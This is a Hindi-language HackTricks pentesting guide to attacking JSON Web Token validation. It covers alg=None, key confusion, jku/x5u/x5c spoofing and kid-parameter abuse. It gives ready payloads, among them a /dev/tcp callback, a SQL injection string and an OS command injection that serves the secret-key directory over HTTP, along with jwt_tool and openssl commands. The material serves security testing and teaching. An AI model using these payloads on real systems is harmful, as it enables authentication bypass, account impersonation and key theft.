hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

32 KiB
Raw Blame History

JWT संवेदनशीलताएँ (Json Web Tokens)

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Bug bounty tip: Intigriti के लिए साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही हमसे https://go.intigriti.com/hacktricks पर जुड़ें, और $100,000 तक के bounties कमाना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

इस पोस्ट का एक हिस्सा यहाँ से लिया गया है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs को pentest करने के लिए बनाए गए शानदार टूल के लेखक https://github.com/ticarpi/jwt_tool

त्वरित जीत

jwt_tool को All Tests! मोड में चलाएं और हरे रंग की लाइनों का इंतजार करें

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

यदि आप भाग्यशाली हैं, तो उपकरण को कुछ ऐसे मामले मिलेंगे जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:

फिर, आप अपने प्रॉक्सी में अनुरोध को खोज सकते हैं या उस अनुरोध के लिए प्रयुक्त JWT को jwt_ tool का उपयोग करके डंप कर सकते हैं:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

डेटा को बिना कुछ बदले टैम्पर करें

आप डेटा के साथ टैम्पर कर सकते हैं और सिग्नेचर को जैसा है वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए अपना यूजरनेम "admin" में बदलने का प्रयास करें।

क्या टोकन की जांच की जा रही है?

  • यदि कोई त्रुटि संदेश आता है तो सिग्नेचर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी को लीक कर सकती है।
  • यदि वापस आने वाला पृष्ठ अलग है तो सिग्नेचर की जांच की जा रही है।
  • यदि पृष्ठ वही है तो सिग्नेचर की जांच नहीं की जा रही है - Payload claims के साथ टैम्परिंग शुरू करने का समय है ताकि आप देख सकें कि आप क्या कर सकते हैं!

मूल

अपने प्रॉक्सी के अनुरोध इतिहास में जांचें कि टोकन कहां से आया है। इसे सर्वर पर बनाया जाना चाहिए, क्लाइंट पर नहीं।

  • यदि यह पहली बार क्लाइंट-साइड से आते हुए देखा गया है तो कुंजी क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
  • यदि यह पहली बार सर्वर से आते हुए देखा गया है तो सब ठीक है।

अवधि

जांचें कि क्या टोकन 24h से अधिक समय तक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।

HMAC सीक्रेट को ब्रूट-फोर्स करें

इस पृष्ठ को देखें।

एल्गोरिदम को None में बदलें (CVE-2015-9235)

इस्तेमाल किए जा रहे एल्गोरिदम को "None" पर सेट करें और सिग्नेचर भाग को हटा दें।

इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए "JSON Web Token" कहे जाने वाले Burp एक्सटेंशन का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का भी चयन कर सकते हैं)।

एल्गोरिदम RS256(असममित) को HS256(सममित) में बदलें (CVE-2016-5431/CVE-2016-10555)

HS256 एल्गोरिदम प्रत्येक संदेश को साइन और सत्यापित करने के लिए सीक्रेट कुंजी का उपयोग करता है।
RS256 एल्गोरिदम संदेश को साइन करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।

यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को सीक्रेट कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके सिग्नेचर को सत्यापित करता है।

फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध सिग्नेचर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

हेडर में नई सार्वजनिक कुंजी

एक हमलावर टोकन के हेडर में एक नई कुंजी जोड़ता है और सर्वर इस नई कुंजी का उपयोग करके हस्ताक्षर की पुष्टि करता है (CVE-2018-0114)।

यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।

JWKS Spoofing

यदि टोकन में “jku” हेडर दावा का उपयोग होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL की ओर इंगित करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन की पुष्टि के लिए सार्वजनिक कुंजी रखती है। टोकन को तोड़ें ताकि jku मान आपके द्वारा निगरानी करने योग्य वेब सेवा की ओर इंगित करे।

यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कुंजियों को लोड करने की कोशिश कर रहा है। jwt_tool के -S फ्लैग का उपयोग करें और -u http://example.com आर्गुमेंट के साथ एक नई कुंजी जोड़ी बनाएं, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS बनाएं जिसमें सार्वजनिक कुंजी हो, और निजी कुंजी के साथ टोकन पर हस्ताक्षर करें

Kid मुद्दे

kid एक वैकल्पिक हेडर दावा है जो एक कुंजी पहचानकर्ता रखता है, विशेष रूप से तब उपयोगी होता है जब आपके पास टोकन पर हस्ताक्षर करने के लिए कई कुंजियाँ होती हैं और आपको हस्ताक्षर की पुष्टि के लिए सही एक को खोजने की आवश्यकता होती है।

"kid" मुद्दे - कुंजी प्रकट करें

यदि हेडर में "kid" दावा का उपयोग होता है, तो उस फ़ाइल या उसके विविधता के लिए वेब निर्देशिका की जांच करें। उदाहरण के लिए यदि "kid":"key/12345" तो वेब रूट पर /key/12345 और /key/12345.pem की खोज करें।

"kid" मुद्दे - पथ प्रवेश

यदि हेडर में "kid" दावा का उपयोग होता है, तो जांचें कि क्या आप फ़ाइल सिस्टम में एक अलग फ़ाइल का उपयोग कर सकते हैं। एक ऐसी फ़ाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकते हों, या शायद "kid":"/dev/tcp/yourIP/yourPort" का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ SSRF पेलोड्स...
jwt_tool के -T फ्लैग का उपयोग करके JWT को तोड़ें और kid दावे के मूल्य को बदलें, फिर मूल हस्ताक्षर को बनाए रखने का चयन करें

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

"kid" मुद्दे - SQL इंजेक्शन

जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर में पेलोड को बदल सकते हैं: non-existent-index' UNION SELECT 'ATTACKER';-- - और फिर JWT को ATTACKER सीक्रेट की के साथ साइन करें।

"kid" मुद्दे - OS इंजेक्शन

जब "kid" पैरामीटर में किसी फाइल का पथ होता है जिसमें की होती है और इस पथ का उपयोग कमांड को निष्पादित करने के अंदर किया जाता है, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

विविध हमले

निम्नलिखित ज्ञात कमजोरियां हैं जिनकी जांच की जानी चाहिए।

क्रॉस-सर्विस रिले हमले

कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में उसी JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उसी सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य को अनुरोध में पुनः प्रयास करें। क्या यह स्वीकार किया जाता है?

  • यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को नकली बनाने की एक गंभीर समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप एक तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों की अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धूसर-क्षेत्र में प्रवेश कर सकता है!

क्या exp जांचा जाता है?

"exp" पेलोड दावा टोकन की समाप्ति की जांच के लिए उपयोग किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः प्रयास करना आपको उस उपयोगकर्ता के रूप में छद्म बनाने की अनुमति देगा।
JWT पुनः प्रयास हमलों के खिलाफ एक निवारण (जो JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने का प्रयास करें और समाप्ति समय के बाद इसे पुनः प्रयास करें। jwt_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)

  • यदि टोकन अभी भी एप्लिकेशन में मान्य होता है, तो यह एक सुरक्षा जोखिम हो सकता है क्योंकि टोकन कभी भी समाप्त नहीं हो सकता है।

x5u और jku

jku

jku का मतलब JWK Set URL है।
यदि टोकन एक “jkuHeader दावे का उपयोग करता है, तो प्रदान किए गए URL की जांच करें। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को एक वेब सेवा की ओर इशारा करने के लिए बदलें जिसके लिए आप ट्रैफिक की निगरानी कर सकते हैं।

सबसे पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप उदाहरण के लिए jwt.io का उपयोग करके नए JWT को बनाने के लिए बनाए गए सार्वजनिक और निजी कुंजियों का उपयोग कर सकते हैं और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित कर सकते हैं। एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।

आप एक सार्वजनिक प्रमाणपत्र से पैरामीटर्स "e" और "n" प्राप्त कर सकते हैं इसका उपयोग करके:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. एक URI जो PEM प्रारूप में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के एक समूह की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों के हस्तांतरण के लिए परिवहन सुरक्षा आवश्यक है।

इस हेडर को अपने नियंत्रण में एक URL में बदलने का प्रयास करें और जांचें कि क्या कोई अनुरोध प्राप्त होता है। ऐसे मामले में आप JWT को बदल सकते हैं

आपके द्वारा नियंत्रित एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

तब आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर x5u को बनाई गई .crt प्रमाणपत्र की ओर इंगित करते हुए।

आप इन दोनों दोषों का उपयोग SSRFs के लिए भी कर सकते हैं।

x5c

इस पैरामीटर में base64 में प्रमाणपत्र हो सकता है:

यदि हमलावर एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नवनिर्मित प्रमाणपत्र के साथ बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

एम्बेडेड पब्लिक की (CVE-2018-0114)

यदि JWT में निम्नलिखित परिदृश्य की तरह एक पब्लिक की एम्बेडेड है:

निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक पब्लिक की जनरेट की जा सकती है:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

नई निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, टोकन के अंदर नई सार्वजनिक कुंजी को सम्मिलित करें और इसका उपयोग नए हस्ताक्षर उत्पन्न करने के लिए करें:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

JTI (JWT ID)

JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए अगर बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके एक अनुरोध को पुनः चला सकते हैं (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होती है)।

JWT पंजीकृत दावे

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

उपकरण

{% embed url="https://github.com/ticarpi/jwt_tool" %}


बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! हमसे https://go.intigriti.com/hacktricks पर आज ही जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!

{% embed url="https://go.intigriti.com/hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके: